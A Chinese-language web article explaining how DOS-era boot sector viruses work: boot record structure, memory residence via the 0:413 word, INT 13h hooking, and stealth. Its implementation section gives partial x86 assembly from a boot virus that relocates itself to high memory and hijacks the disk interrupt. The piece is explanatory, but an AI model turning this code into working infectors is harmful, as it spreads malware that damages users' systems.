引导型病毒原理

    技术2022-05-11  61

    引导型病毒原理 作者:不详 文章来源:来自 Internet 点击数: <script src="http://count.77169.com/Article/GetHits.asp?ArticleID=1375" language="javascript" type="text/javascript"></script> 0 更新时间:2003-11-12 <script src="http://www.77169.org/AD/200604/17.js" language="javascript" type="text/javascript"></script>

    一、病毒原理

      想要了解引导型病毒的原理,首先要了解引导区的结构。软盘只有一个引导区,称 为DOS BOOT SECTER ,只要软盘已格式化,就已存在。

    其作用为查找盘上有无IO.SYS DOS.SYS,若有则引导,若无则显示‘NO SYSTEM DISK...’等信息。硬盘有两个引导区, 在0面0道1扇区的称为

    主引导区,内有主引导程序和分区表,主引导程序查找激活分区, 该分区的第一个扇区即为DOS BOOT SECTER。绝大多数病毒感染硬盘主引导

    扇区和软盘 DOS引导扇区。下面给出基本引导病毒的原理图:

    带毒硬盘引导------>BIOS将硬盘主引导区读到内存0:7C00处控制权转到主引导程序(这是千古不变的)(病毒)-------->将0:413单元的值减少1K或nK------->计算可用内存高段地址将病毒移到高段继续执行-------->修改INT13地址,指向病毒传染段,将原INT13地址保存在某一单元------>病毒任务完成,将原引导区调 入0:7C00执行------>机器正常引导

    带毒软盘引导----->判断硬盘是否有毒,若无毒则传染------>以下同上(传染时将病毒写入主引导扇区,将原引导程序存入某一扇区)

    以上是引导型病毒的基本框图,不论是最古老,还是最新的,万变不离其中.只不过在各细节个人的技巧不同罢了.   

    驻留内存:一般采取修改0:413地址的方法,因为引导时,DOS还未加载 这是唯一的方法,但有很大的缺点,启动后用MEM查看发现常规内存的总量

    少于640K,不够隐蔽,当然有办法解决,可以修改INT 8,检测INT 21是否 建立,若建立则可采用DOS功能驻留内存.详细见文件型病毒.   

    隐形技术:当病毒驻留时,读写引导区均对原引导区操作,就好象 没有病毒一样.   

    加密技术:一般加密分区表,使无毒盘启动,无法读取硬盘.      

    引导型病毒的优点:隐蔽性强,兼容性强,只要编的好,是不容易发现 的,通用于DOS WINDOWS WIN95 操作系统。

    缺点:很多,传染速毒慢,一定要带毒软盘启动才能传到硬盘,杀毒 容易,只需改写引导区即可。

    .如: fdisk/mbr ,kv300,rav能查出 所有引导型病毒,底板能对引导区写保护,所以现在纯引导型病毒已 很少了.

     以上是引导型病毒的基本框图,不论是最古老,还是最新的,万变不离 其中.只不过在各细节个人的技巧不同罢了.

    二、实现方法引导形病毒指驻留在硬盘的主引导分区或硬软盘的 DOS 引导分区的病毒。由于 pc 开机后,会先执行主引导分区的代码,因此病毒可以获得第一控制权,在引导 DOS 操作系统之前,作完以下事情: a. 减少dos可用最大内存量,以供己需;如: xor ax,ax mov ss,ax mov sp,7c00h mov ds,ax mov ax,word ptr ds:[413h] ; here store largest mem 0000:0413 sub ax,2 ; apply 2k mem for virus mov ds:[413h],ax b. 修改必要的中断向量,以便传播; c. 读入病毒的其它部分,进行病毒的拼装(在内存高端); 先从已标记的簇中某扇区读入病毒的其他部分,这些簇往往被标记为坏簇,(但是文件型病毒则不必如此,二者混合型亦然)然后再读入原引导记录到0000:7c00h,跳转执行。代码如下:

    mov cl,06h shl ax,cl ; ax = 8F80 add ax,0840h ; ax = 97c0 mov es,ax mov si,7c00h ; si = 7c00 mov di,si mov cx,0100h repz movsw ; 将病毒移到高端. v2: push ax pop ds push ax mov bx,7c4bh push bx ret ; 指令执行转入高端内存 call v3 v3: xor ah,ah ; ah=0 int 13h mov ah,80h and byte ptr ds:[7df8h],al v4: mov bx,word ptr ds:[7df9h] ; 读入病毒的其他部分. push cs pop ax ; ax=97c0 sub ax,20h ; ax=97a0 mov es,ax ; es=97a0 call v9 mov bx,word ptr ds:[7df9h] ; load logic sector id inc bx ; bx++ , is boot sector mov ax,0ffc0h ; ffc0:8000 = 0000:7c00 读入原引导分区内容. mov es,ax call v9 xor ax,ax ; AX=0 mov byte ptr ds:[7df7h],al ; flag = 0 v5: mov ds,ax ; ds=0 mov ax,word ptr ds:[4ch] ; mov bx,word ptr ds:[4eh] ; 修改中断向量.

    mov word ptr ds:[4ch],7cd6h mov word ptr ds:[4eh],cs ; now int13h had been changed push cs pop ds ; ds=cs mov word ptr ds:[7d30h],ax ; save original int13 vector mov word ptr ds:[7d32h],bx ; v6: mov dl,byte ptr ds:[7df8h] ; load drive letter v7: ;======================================================= ; jmp 0000:7c00 ; here is a jump db 0eah,00h,7ch,00h,00h 这里是个跳转指令的二进制代码. ;======================================================= d. 读入原主引导分区,转去执行dos的引导工作。

     

    最新回复(0)